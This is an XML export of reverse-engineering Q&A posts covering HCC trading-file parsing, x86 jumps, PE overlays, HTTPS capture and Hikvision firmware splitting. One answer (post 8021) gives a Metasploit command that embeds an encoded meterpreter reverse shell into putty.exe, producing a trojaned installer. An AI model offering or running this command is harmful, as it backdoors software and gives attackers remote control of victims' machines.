Price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 byte, double Closed Price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 byte, char | small int spread&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 byte, char | small int tick volume &lt;/p&gt;&#xA;&#xA;&lt;p&gt;date &amp;amp; time format is: &#xA;2015.01.04 0:00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opened Price = 1.23894&#xA;Highest Price = 1.23904&#xA;Lowest Price = 1.23883&#xA;Closed Price = 1.23904&#xA;Tick Volume = 81&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2015.01.04  0:00    1.23894 1.23904 1.23883 1.23904 81&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/2csbb4s3b9bjx8e/2015.hcc&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/2csbb4s3b9bjx8e/2015.hcc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11475" LastEditorUserId="11475" LastEditDate="2015-01-17T19:24:17.007" LastActivityDate="2016-09-30T21:07:37.760" Title="Need Ideas to Reverse Engineer this HCC file format" Tags="|struct|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8004" PostTypeId="2" ParentId="8003" CreationDate="2015-01-13T10:08:35.363" Score="0" Body="&lt;p&gt;It would help to have the output of this actual file. After a quick search, I found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -e l 2015.hcc&#xA;Copyright 2001-2014, MetaQuotes Software Corp.&#xA;History&#xA;EURUSD&#xA;EURUSD&#xA;EURUSD&#xA;EURUSD&#xA;EURUSD&#xA;EURUSD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which lead to the following &lt;a href=&quot;http://www.metaquotes.net/&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;. What's in this file ? Using clear text attack would be much more efficient. Do you have more sample files ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;binwalk&lt;/code&gt; did not reveal anything, so I am guessing this is a simple binary format, since it contains -potentially- trading information I would bet this is a simple format (no cryptography or obfuscation involved).&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2015-01-13T10:08:35.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8005" PostTypeId="1" AcceptedAnswerId="8006" CreationDate="2015-01-13T13:58:32.977" Score="0" ViewCount="154" Body="&lt;p&gt;I was wondering where i might encounter JO/JS/JP JCCs (and their not-counterparts) in compiler generated code? What would it mean? I scrolled through a lot of random code, but wasnt able to find a single instance in straight forward way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="2808" LastEditorUserId="2808" LastEditDate="2015-01-13T15:09:54.417" LastActivityDate="2015-01-13T15:09:54.417" Title="When might a compiler generate JG/JS/JP conditional jumps?" Tags="|ida|disassembly|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8006" PostTypeId="2" ParentId="8005" CreationDate="2015-01-13T14:53:59.243" Score="1" Body="&lt;p&gt;Most compiled code, these days, is C, C++, or possibly Delphi. These languages lack high-level support for some of your instructions, so there is no reason for them to generate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If C had an operation to determine the parity of a number, the compiler would probably generate a &lt;code&gt;JP&lt;/code&gt; instruction for it. But C doesn't have this operation, and since the only reason for it (that i can think of) is serial communications, and serial chips have done parity checking in hardware since at least the 80s, there wasn't ever reason to introduce an extension for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There are actually bit operations that are useful in certain scenarios, have processor operations to do them, and are supported by compilers. See &lt;a href=&quot;http://en.wikipedia.org/wiki/Find_first_set&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Find_first_set&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, C doesn't have overflow checking. If a given compiler had a --warn-on-overflow flag, it might be implemented using &lt;code&gt;JC&lt;/code&gt;, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other two instructions are just variations of the &quot;compare two numbers&quot; topic. &lt;code&gt;JG&lt;/code&gt; is a &quot;reversed&quot; &lt;code&gt;JLE&lt;/code&gt;, &lt;code&gt;JS&lt;/code&gt; is a version of &lt;code&gt;JL&lt;/code&gt; after comparing to 0. For the compiler, it's more efficient to &quot;normalize&quot; comparisons first, then run the optimizer over the normalized comparison, then emit machine code, than maintaining different, but similar, optimizations. &quot;Greater than&quot; is the same as &quot;Not less or equal&quot;; &quot;Less than&quot; is the same as &quot;not greater or equal&quot;. I've seen &lt;code&gt;gcc&lt;/code&gt; produce the latter (&lt;code&gt;JLE&lt;/code&gt; and &lt;code&gt;JGE&lt;/code&gt;) but not the former (&lt;code&gt;JL&lt;/code&gt; and &lt;code&gt;JG&lt;/code&gt;). And since &lt;code&gt;JS&lt;/code&gt; is just a special case of these, there's not much reason for a compiler to use it.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-01-13T15:00:32.597" LastActivityDate="2015-01-13T15:00:32.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8007" PostTypeId="2" ParentId="6943" CreationDate="2015-01-13T15:35:49.407" Score="1" Body="&lt;p&gt;This doesn't answer your question, however I will try to provide ideas for workarounds (can't leave them in a comment as I don't have enough reputation points):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have you tried debugging the external swf file that loads the one you want to reverse? This way it won't crash itself and you will still have a debugging session available.&lt;/li&gt;&#xA;&lt;li&gt;Since you state that &quot;you are still not exactly sure of what are the actions performed to the app by the injected file&quot;, why don't you decompile the &quot;loader&quot; swf, find the position in the code where the injection is done, and based on the handle given to the new swf, find all references/function calls from the parent to the injected and from there tracing back (in static code analysis) to find when the new file is used. This might give you very useful insights.&lt;/li&gt;&#xA;&lt;li&gt;Also, let me provide you with some swf decompilers that I have experience with and in the vast majority of the time manage to perform correct decompilation (usually if one fails another may succeed):&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sothink.com/product/flashdecompiler/&quot; rel=&quot;nofollow&quot;&gt;Sothink SF Decompiler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flash-decompiler.com/&quot; rel=&quot;nofollow&quot;&gt;Trillix Flash Decompiler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Show My Code Online Decoder / Decompiler (give it a search because again due to reputation I can't post a third link)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11481" LastActivityDate="2015-01-13T15:35:49.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8008" PostTypeId="2" ParentId="8003" CreationDate="2015-01-13T16:09:13.950" Score="4" Body="&lt;p&gt;The file seems to contain a &quot;sum of transactions&quot; field as well. I refined my earlier program a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* version 1.2 - generates a CSV file on the desktop for another application to create a reverse engineered hcc file */&#xA;/* version 1.1 - includes header format and detects the number of data rows */&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;time.h&amp;gt;&#xA;&#xA;#pragma pack(1)&#xA;union header {&#xA;                struct {&#xA;                                char magic[2]; // 0x81 0x00&#xA;                                char label[64];&#xA;                                char something[18];&#xA;                                int nrows;&#xA;                } data;&#xA;                char rawbytes[189];&#xA;};&#xA;&#xA;struct record {&#xA;                int separator;&#xA;                int time;&#xA;                double open, high, low, close;&#xA;                char additional[10]&#xA;&#xA;&#xA;};&#xA;&#xA;&#xA;void printint(char *buf, FILE *fpcsv,int size);&#xA;void dumpat(FILE *fp,FILE *fpcsv, int start);&#xA;&#xA;int main(int argc, char **argv) {&#xA;                FILE *fp,*fpcsv;&#xA;                union header header;&#xA;&#xA;&#xA;                if ((fpcsv=fopen(&quot;C:\\Users\\Hello\\Desktop\\2015.csv&quot;, &quot;w&quot;))==NULL) {&#xA;                        perror(&quot;C:\\Users\\Hello\\Desktop\\2015.csv&quot;); return 1;&#xA;                }&#xA;                if ((fp=fopen(&quot;C:\\Users\\Hello\\Desktop\\2015.hcc&quot;, &quot;rb&quot;))==NULL) {&#xA;                        perror(&quot;C:\\Users\\Hello\\Desktop\\2015.hcc&quot;); return 1;&#xA;                }&#xA;                fseek(fp, 0x3be5-sizeof(header), 0);&#xA;                while (fread(&amp;amp;header, sizeof header, 1, fp)!=0) {&#xA;                                if ((header.data.magic[0]&amp;amp;0xff)!=0x81&#xA;                                ||   header.data.magic[1]!=0x00) {&#xA;                                                fprintf(stderr, &quot;Bad header magic number at %08lx\n&quot;,&#xA;                                                                ftell(fp)-sizeof(header));&#xA;                                                exit(1);&#xA;                                }&#xA;                                fprintf(fpcsv,&quot;Expect %d rows\n&quot;, header.data.nrows);&#xA;                                dumpat(fp,fpcsv, header.data.nrows);&#xA;                // dumpat(fp, 0x3be5);&#xA;                // dumpat(fp, 0xde1a);&#xA;                // dumpat(fp, 0x1e169);&#xA;                // dumpat(fp, 0x2e4a5);&#xA;                // dumpat(fp, 0x3bd7e);&#xA;                // dumpat(fp, 0x55c07);&#xA;                }&#xA;                fclose(fp);&#xA;                fclose(fpcsv);&#xA;}&#xA;&#xA;void dumpat(FILE *fp,FILE *fpcsv, int nrows) {&#xA;                struct record data;&#xA;                int i, extra1, extra2, extra3, pos;&#xA;                time_t time;&#xA;                struct tm *tm;&#xA;                char timebuf[80];&#xA;&#xA;                for (i=0; i&amp;lt;nrows; i++) {&#xA;                                if (fread(&amp;amp;data, sizeof(int), 1, fp)==0)&#xA;                                                break;&#xA;                                if ((data.separator &amp;amp; 0x00088884) != 0x00088884) {&#xA;                                                fprintf(stdout, &quot;bad separator %08x at %lx\n&quot;,&#xA;                                                                data.separator, ftell(fp));&#xA;                                                break;&#xA;                                }&#xA;                                extra1=data.separator&amp;gt;&amp;gt;28;&#xA;                                extra2=((data.separator&amp;gt;&amp;gt;24)&amp;amp;0x0f);&#xA;                                extra3=((data.separator&amp;gt;&amp;gt;20)&amp;amp;0x0f);&#xA;                                fread(&amp;amp;data.time,  4 + 8 + 8 + 8 + 8 + extra3 + extra2 + extra1&#xA;                                                , 1, fp);&#xA;                                time=data.time;&#xA;                                tm=gmtime(&amp;amp;time);&#xA;                                strftime(timebuf, sizeof timebuf, &quot;%Y-%m-%d %H:%M:%S&quot;, tm);&#xA;                                fprintf(fpcsv,&quot;%s,%lf,%lf,%lf,%lf,&quot;, timebuf, data.open,&#xA;                                                data.high, data.low, data.close);&#xA;                                pos=0;&#xA;                                printint(data.additional+pos,fpcsv, extra3); pos+=extra3;&#xA;                                fprintf(fpcsv,&quot;,&quot;);&#xA;                                printint(data.additional+pos,fpcsv, extra2); pos+=extra2;&#xA;                                fprintf(fpcsv,&quot;,&quot;);&#xA;                                printint(data.additional+pos,fpcsv, extra1); pos+=extra1;&#xA;                                fprintf(fpcsv,&quot;\n&quot;);&#xA;&#xA;                }&#xA;}&#xA;&#xA;void printint(char *buf,FILE *fpcsv, int size) {&#xA;                int val=0, scale=1;&#xA;                while (size--) {&#xA;                                val+=(*buf++&amp;amp;0xff)*scale;&#xA;                                scale&amp;lt;&amp;lt;=8;&#xA;                }&#xA;                 fprintf(fpcsv,&quot;%5d&quot;, val);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result of this begins with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-01-02 10:00:00 1.205450 1.205450 1.205140 1.205160    31     9 22000000 &#xA;2015-01-02 10:01:00 1.205160 1.205210 1.205030 1.205030    31     6 35000000 &#xA;2015-01-02 10:02:00 1.205030 1.205030 1.204680 1.204730    51     9 54500000 &#xA;2015-01-02 10:03:00 1.204730 1.204750 1.203460 1.203850    81    18 65700000 &#xA;2015-01-02 10:04:00 1.203790 1.204210 1.203750 1.204210    79     9 85100000 &#xA;2015-01-02 10:05:00 1.204200 1.204210 1.204090 1.204170    41    10 38300000 &#xA;2015-01-02 10:06:00 1.204170 1.204570 1.204150 1.204150    52    13 46600000 &#xA;2015-01-02 10:07:00 1.204150 1.204460 1.204150 1.204380    44     8 53900000 &#xA;2015-01-02 10:08:00 1.204380 1.204380 1.203800 1.203800    52     9 70400000 &#xA;2015-01-02 10:09:00 1.203820 1.204010 1.203600 1.203900    72     9 76100000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The headers (that contain &lt;code&gt;EUR USD&lt;/code&gt;) seem to have the same size, and the start of the data seems to be 176 bytes after the D every time, but i'm not yet sure about where/how to find the first of them, and where the number of data rows to the next header is stored, so i can't get rid of those magic numbers (byte positions where the data starts) yet.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="12021" LastEditDate="2016-09-30T21:07:37.760" LastActivityDate="2016-09-30T21:07:37.760" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8009" PostTypeId="1" CreationDate="2015-01-13T17:57:34.993" Score="2" ViewCount="650" Body="&lt;p&gt;Since GDB is no longer supported on arm64 devices i can't figure any alternative except lldb with debugserver, but unfortunately i can't dump memory with read command always giving me different errors, so my question is there any tool to make a memory dumps for games/apps?&lt;/p&gt;&#xA;" OwnerUserId="11482" LastActivityDate="2015-01-13T17:57:34.993" Title="How to dump iPhone arm64 memory?" Tags="|memory|ios|" AnswerCount="0" CommentCount="0" ClosedDate="2017-07-20T11:49:03.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="8010" PostTypeId="2" ParentId="6232" CreationDate="2015-01-13T19:31:02.373" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://rada.re&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt; is running natively on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Android&lt;/li&gt;&#xA;&lt;li&gt;iPhone&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://twitter.com/trufae/status/379388265704742912&quot; rel=&quot;nofollow&quot;&gt;firefoxOS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you don't like reversing on your device, you can spawn a web interface, and play around with your device, from your web browser, on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it's a free software :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://pbs.twimg.com/media/Bt_cUjOIYAAA_3r.jpg&quot; alt=&quot;r2 on Android&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-01-13T19:31:02.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8011" PostTypeId="2" ParentId="6828" CreationDate="2015-01-13T22:29:38.703" Score="2" Body="&lt;p&gt;I would try another approach, without using Olly or IDA, get Cheat Engine, attach it to your software and give X clicks. Search that int value on C.E., and increment while searching too.&lt;br&gt;&#xA;Cheat Engine will &quot;catch&quot; the variable faster than searching through regular debuggers.&#xA;Set the var to 0 and lock it.&lt;br&gt;&#xA;Yes, I know C.E. is not a reversing tool, but in this case, and given your RE experience, seems the most fit.&#xA;&lt;br&gt;&#xA;Or, send the link/.exe and I'm willing to help you.&lt;/p&gt;&#xA;" OwnerUserId="9789" LastActivityDate="2015-01-13T22:29:38.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8012" PostTypeId="2" ParentId="7990" CreationDate="2015-01-13T22:55:27.347" Score="2" Body="&lt;p&gt;There's a discussion of reverse engineering virtualization-based obfuscation &lt;a href=&quot;http://www.cs.arizona.edu/people/debray/tmp/deobfuscation.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  A forerunner of this work, which in retrospect I'm not all that happy with, was published in ACM CCS 11 [&lt;a href=&quot;http://dl.acm.org/citation.cfm?id=2046739&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of source-code availability of any VM-based obfuscators.  There's a free system called Tigress, available (in binary form) from &#xA;&lt;a href=&quot;http://tigress.cs.arizona.edu/&quot; rel=&quot;nofollow&quot;&gt;http://tigress.cs.arizona.edu/&lt;/a&gt;, that performs virtualization at the C source-code level.  This system gives you a lot of control over a lot of the parameters of the obfuscator so you can experiment with different combinations of settings.  The FAQ explains the rationale for not distributing the source code.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2015-01-13T22:55:27.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8013" PostTypeId="1" AcceptedAnswerId="8016" CreationDate="2015-01-14T00:15:29.273" Score="1" ViewCount="5224" Body="&lt;p&gt;I'm trying to change the icon of a .exe file, normally a simple task but this .exe file is a installer and for some reason when after I change or remove the icon, the exe shrinks in size from 300 mb to 12 kb and crashes when it runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using Resource Hacker to either replace the icon or remove it but when I try to save it, the result ends up as a tiny file which crashes when it runs. I also tried using IconChanger 3.8 and the same thing happened. I cannot change any resources on the file using Resource Hacker. If I attempt to modify version info, description, anything, it will save as a tiny 12 kb file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of protection against changing resources that I don't know about? What can I do in this situation? Any other methods that might work for changing an icon or removing its icon in this situation?&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2023-07-16T21:29:49.060" Title="Can't change the icon of a .exe file. Seems to be protected?" Tags="|executable|software-security|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8014" PostTypeId="2" ParentId="7990" CreationDate="2015-01-14T11:40:48.573" Score="1" Body="&lt;p&gt;There is a good &lt;a href=&quot;http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; wrote by &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/182/rolf-rolles&quot;&gt;Rolf Rolles&lt;/a&gt; about it.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-01-14T11:40:48.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8015" PostTypeId="2" ParentId="7982" CreationDate="2015-01-14T14:52:35.817" Score="0" Body="&lt;p&gt;As u mentioned, olly crashes, probably it doesnt, but becayse the file is large olly takes some times and hangs for that time being, windows 7 shows the error message fir closing the olly or to wait, just hit wait application to respond, and there can also be an exploit which is crashing olly so check for that, and also if peid shiws its a vb app, iw ould first load it in vb decompiler, it gives a better result for visual basic applications after refrencing to it, debug it in olly.&lt;/p&gt;&#xA;" OwnerUserId="10244" LastActivityDate="2015-01-14T14:52:35.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8016" PostTypeId="2" ParentId="8013" CreationDate="2015-01-14T19:17:26.260" Score="3" Body="&lt;p&gt;Such a problem is common with executables having overlay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An overlay is extra data appended at the end of a &lt;code&gt;PE&lt;/code&gt;. The overlay is located at the end of the sections. When a &lt;code&gt;PE&lt;/code&gt; is loaded the overlay is &lt;strong&gt;not&lt;/strong&gt; mapped into the memory of the process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An overlay is common with installers, self extracting archives etc. In order to extract the overlay, you can use any decent PE editor such as &lt;em&gt;&lt;a href=&quot;http://exeinfo.atwebpages.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;exeinfope&lt;/a&gt;&lt;/em&gt;, &lt;em&gt;&lt;a href=&quot;http://ntinfo.biz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detect It Easy&lt;/a&gt;&lt;/em&gt; or like &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2014/how-can-one-extract-the-appended-data-of-a-portable-executable&quot;&gt;this&lt;/a&gt; way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence for your problem, I would suggest to dump the overlay, make required modifications on the PE, and finally re-append back the dumped overlay to the end of the executable. &lt;br&gt;For the last step you can use a Hex Editor or the &lt;a href=&quot;http://support.microsoft.com/kb/71161&quot; rel=&quot;nofollow noreferrer&quot;&gt;MS-DOS COPY command&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-01-14T19:17:26.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8017" PostTypeId="1" CreationDate="2015-01-14T20:05:31.847" Score="3" ViewCount="2089" Body="&lt;p&gt;Say we have a Windows application, which sends some packets over HTTPS. We need to extract the content of this packets (unencrypted of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to get hands on server private certificate and MitM attack doesn't work (some MitM defense is used by this application). So, decryption seems to be off the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only choice (I suppose) is to extract these packets from the application before they get encrypted. Application is well protected, it has no dependency on OpenSSL DLLs. However, we have a certain feeling that it uses OpenSSL (but, statically linked, may be OpenSSL source was even modified before compiling/linking).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hooking a call to OpenSSL functions (like &lt;code&gt;ssl_write()&lt;/code&gt;) is not simple, because the application's executable is packed and obfuscated. It also has a debugging protection, but a stealth debugger, which avoid this defense, is already found. So, we can debug this application. However, the code, as seen during debugging, is a complete mess (obfuscated). Even the system DLLs, being loaded by this application, are completely messed. Here is an example of how the &lt;code&gt;send()&lt;/code&gt; function from &lt;code&gt;WS2_32.dll&lt;/code&gt; looks like during debugging of &lt;a href=&quot;http://s2.postimg.org/pjzaipx0p/image.png&quot; rel=&quot;nofollow&quot;&gt;this application&lt;/a&gt;. For reference, &lt;a href=&quot;http://s21.postimg.org/3kzntkn93/image.png&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is how it looks like from normal (unprotected) application. So, it's very hard to understand how the function arguments are passed, moreover it looks like they can be passed via different ways (not sure, but looks so according debugging experiments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be a quite common task, since there are many Windows applications which use HTTPS and statically linked OpenSSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully somebody have such experience and can share it.&lt;/p&gt;&#xA;" OwnerUserId="11488" LastEditorUserId="53" LastEditDate="2015-02-15T23:43:30.840" LastActivityDate="2015-02-15T23:43:30.840" Title="Extracting HTTPS packets before encryption" Tags="|debugging|dll-injection|https-protocol|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8018" PostTypeId="1" CreationDate="2015-01-14T23:43:40.903" Score="2" ViewCount="1190" Body="&lt;p&gt;(This question is related to &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/185&quot;&gt;How do I add functionality to an existing binary executable?&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I too would like to add functionality to an existing application, but I do not want to modify the original binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine that, for some &quot;well-behaved&quot; compiled code, it ought to be possible to create a &quot;wrapper&quot; program that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;maps the original binary's segments into its own memory space; and &lt;/li&gt;&#xA;&lt;li&gt;places its own redefined functions at the relevant addresses.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example, suppose that loading the original binary would place &lt;code&gt;void origfunction(int, int)&lt;/code&gt; at location &lt;code&gt;0x1234&lt;/code&gt;; my thought is that loading the wrapper might cause that function's machine code (from the original binary) to be loaded at &lt;code&gt;0x5678&lt;/code&gt; with &lt;code&gt;void newfunction(int, int)&lt;/code&gt; loaded at &lt;code&gt;0x1234&lt;/code&gt; in its place.  &lt;code&gt;newfunction&lt;/code&gt; could then make a call to &lt;code&gt;origfunction&lt;/code&gt; before/after performing its modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this approach feasible?  If not, why not?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is feasible, are there any tools that can assist in automating the generation of such a wrapper program?  Generic answers would be most useful for future readers, but the original binary that I am working with right now is a fairly typical OS X one (Mach-O format, compiled from Objective-C).&lt;/p&gt;&#xA;" OwnerUserId="11490" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-01-29T20:34:29.660" Title="Can one modify a program by &quot;wrapping&quot; its binary? What tools exist?" Tags="|tools|c|executable|osx|mach-o|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8019" PostTypeId="1" CreationDate="2015-01-15T02:16:38.863" Score="3" ViewCount="14116" Body="&lt;p&gt;I have a camera with Hikvision firmware. The firmware file has clear text in it, for example, there's a shell script you can see in there that coincides with a shell script when I tellnet in. There's gzip tarball, but that's OK, that's how they are suppose to end up in the camera as it untars at bootup time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried binwalk but comes up with lots of stuff, none if it valid. What I need to do is map what's in the file, break up the pieces, edit what I want, then reassemble it and run the firmware update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files seem to be in a UBIFS file system. I can copy the files out from a camera, but trying to figure out how can I replicate what's on the firmware file. I can send a sample firmware file to anyone that can help. &lt;/p&gt;&#xA;" OwnerUserId="11491" LastActivityDate="2016-02-18T18:41:59.023" Title="Hikvision camera firmware reverse engineering" Tags="|disassembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8020" PostTypeId="2" ParentId="8019" CreationDate="2015-01-15T08:43:02.350" Score="1" Body="&lt;p&gt;Looking at the first file from the hikvision.com/en/us/download.asp  page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be simply a linux kernel, followed by several gzipped files, all concatenated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took DS-96128&amp;amp;256_Super_NVR_USA_Firmware_v3.0.2_141125  for example can be split using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=digicap.dav bs=1 skip=$[0x00390790] | gzip -dc   &amp;gt; minixdsk.bin&#xA;mkdir dsk1 dsk2 dsk3&#xA;dd if=digicap.dav bs=1 skip=$[0x00639080] | gzip -dc   | tar tf - -C dsk1&#xA;dd if=digicap.dav bs=1 skip=$[0x00B397D7] count=603  of=initscript.sh&#xA;dd if=digicap.dav bs=1 skip=$[0x00b39a32] | gzip -dc   | tar xf - -C dsk2&#xA;dd if=digicap.dav bs=1 skip=$[0x01585324] | gzip -dc   | tar xf - -C dsk3&#xA;dd if=digicap.dav bs=1 skip=$[0x017E1F31] count=6966 of=1.bmp&#xA;dd if=digicap.dav bs=1 skip=$[0x017e3a67] count=6966 of=2.bmp&#xA;dd if=digicap.dav bs=1 skip=$[0x017E559D]  of=rest.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can find the offsets by looking at the hexdump, and searching for gzip header bytes:  &lt;code&gt;1f 8b 08 00&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2015-01-15T08:43:02.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8021" PostTypeId="2" ParentId="8018" CreationDate="2015-01-15T10:33:51.107" Score="1" Body="&lt;p&gt;Some of the tools i know of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Backdoor Factory: &lt;a href=&quot;https://github.com/secretsquirrel/the-backdoor-factory&quot; rel=&quot;nofollow&quot;&gt;https://github.com/secretsquirrel/the-backdoor-factory&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Metasploit msfencode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Backdoor Factory support a varity of binaries such as ELF, Mach-O, PE.&lt;/p&gt;&#xA;" OwnerUserId="1741" LastActivityDate="2015-01-15T10:33:51.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
